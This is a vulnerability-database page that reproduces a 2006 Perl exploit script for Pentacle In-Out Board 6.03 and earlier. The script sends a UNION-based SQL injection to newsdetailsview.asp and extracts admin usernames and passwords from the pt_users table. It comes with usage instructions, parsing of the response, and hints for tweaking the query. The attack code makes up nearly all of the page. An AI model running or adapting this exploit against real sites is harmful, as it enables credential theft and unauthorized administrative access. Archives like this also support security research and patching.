Lucene search
K

Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Pentacle In-Out Board <= 6.03 Remote SQL Injectio

Code

                                                #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts &#62; ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com
#Usage: penta.pl &#60;victim&#62; &#60;directory&#62;
#Original Advisory: http://www.nukedx.com/?viewdoc=14
use IO::Socket;
if(@ARGV &#60; 3){
print &#34;
+***********************************************************************+
+Pentacle In-Out Board &#60;= 6.03 (newsdetailsview.asp) Remote SQL-Inj. XPL+
+                Usage: penta.pl &#60;victim&#62; &#60;directory&#62; &#60;userid&#62;          +
+                       Example: penta.pl sux.com / 1                   +
+                 Method found & Exploit scripted by nukedx             +
+***********************************************************************+
&#34;;
exit();
}
#Local variables
$pentaserver = $ARGV[0];
$pentaserver =~ s/(http:\/\/)//eg;
$pentahost = &#34;http://&#34;.$pentaserver;
$port = &#34;80&#34;;
$pentadir = $ARGV[1];
$pentaid  = $ARGV[2];
$pentatar = &#34;newsdetailsview.asp?newsid=&#34;;
$pentafinal = &#34;login.asp&#34;;
$pentaxp = &#34;11%20union%20select%200,userpassword,0,username,0,0,0,0%20from%20pt_users%20where%20userid=&#34;.$pentaid.&#34;%20and%20useradmin=yes&#34;;
$pentareq = $pentahost.$pentadir.$pentatar.$pentaxp;
#Writing data to socket
print &#34;+**********************************************************************+\n&#34;;
print &#34;+ Trying to connect: $pentaserver\n&#34;;
$penta = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$pentaserver&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;\n+ Connection failed...\n&#34;;
print $penta &#34;GET $pentareq\n&#34;;
print $penta &#34;Host: $pentaserver\n&#34;;
print $penta &#34;Accept: */*\n&#34;;
print $penta &#34;Connection: close\n\n&#34;;
print &#34;+ Connected!...\n&#34;;
while($answer = &#60;$penta&#62;) {
if ($answer =~ /class=\&#34;newsdetailtitle\&#34;&#62;(.*?)&#60;\/td&#62;/){ 
print &#34;+ Exploit succeed! Getting USERID: $pentaid admin login information.\n&#34;;
print &#34;+ ---------------- +\n&#34;;
print &#34;+ USERNAME: $1\n&#34;;
}
if ($answer =~ /&#60;td align=\&#34;right\&#34; class=\&#34;style9px\&#34;&#62;(.*?)&nbsp;/) { 
print &#34;+ PASSWORD: $1\n&#34;;
print &#34;+ ---------------- +\n&#34;;
print &#34;+ Lets go $pentahost$pentadir$pentafinal and\n+ Login with this information. \n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}
if ($answer =~ /Internal Server Error/) { 
print &#34;+ This version of Pentacle In-Out Board is vulnerable too but default query of SQL-inject doesnt work on it\n&#34;;
print &#34;+ So please edit query by manually adding or removing null datas..\n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}
if ($answer =~ /number of columns/) { 
print &#34;+ This version of Pentacle In-Out Board is vulnerable too but default query of SQL-inject doesnt work on it\n&#34;;
print &#34;+ So please edit query by manually adding or removing null datas..\n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}
}
print &#34;+ Try another userid maybe this one not the admin.\n&#34;;
print &#34;+ Exploit failed :(\n&#34;;
print &#34;+**********************************************************************+\n&#34;;

# nukedx.com [2006-02-25]

# milw0rm.com [2006-02-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16